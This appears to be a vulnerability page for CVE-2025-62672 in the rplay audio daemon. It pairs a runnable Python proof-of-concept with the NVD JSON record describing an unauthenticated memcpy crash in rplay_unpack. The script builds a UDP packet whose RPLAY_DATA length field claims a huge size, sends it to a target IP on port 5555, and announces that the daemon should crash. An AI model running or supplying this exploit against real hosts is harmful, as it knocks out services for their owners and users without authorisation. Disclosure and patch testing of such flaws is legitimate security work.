CVE-2025-62672

#!/usr/bin/env python3 # CVE-2025-62672 PoC - rplay RPLAY_DATA memcpy DoS # Sends a crafted UDP packet to trigger SIGSEGV in rplay_unpack (RPLAY_DATA case) # Target: rplay <= 3.3.2, default UDP port 5555 import socket import struct import sys def build_rplay_data_packet(payload_size=0xFFFF): """ Build a malicious RPLAY_DATA packet. rplay packet format (simplified): - int32: command type (RPLAY_DATA = 3) - int32: data length - raw data bytes """ RPLAY_DATA = 3 # Craft a packet with an oversized length field to trigger memcpy crash header = struct.pack(">ii", RPLAY_DATA, payload_size) # Provide minimal actual data but claim a huge length -> memcpy will read out-of-bounds body = b"\x00" * 16 return header + body def exploit(target_ip, target_port=5555): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = build_rplay_data_packet(payload_size=0x7FFFFFFF) print(f"[*] Sending malicious RPLAY_DATA packet to {target_ip}:{target_port}") print(f"[*] Packet size: {len(packet)} bytes") sock.sendto(packet, (target_ip, target_port)) sock.close() print("[+] Packet sent. Target rplay daemon should crash with SIGSEGV.") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [target_port]") print(f"Example: {sys.argv[0]} 192.168.1.100 5555") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5555 exploit(target, port)

{"cve": {"id": "CVE-2025-62672", "sourceIdentifier": "[email protected]", "published": "2025-10-19T01:15:35.000", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "rplay through 3.3.2 allows attackers to cause a denial of service (SIGSEGV and daemon crash) or possibly have unspecified other impact. This occurs in memcpy in the RPLAY_DATA case in rplay_unpack in librplay/rplay.c, potentially reachable via packet data with no authentication."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://salsa.debian.org/alteholz/rplay", "source": "[email protected]"}, {"url": "https://web.archive.org/web/20171109100411/http://rplay.doit.org", "source": "[email protected]"}, {"url": "https://www.openwall.com/lists/oss-security/2025/10/18/4", "source": "[email protected]"}]}}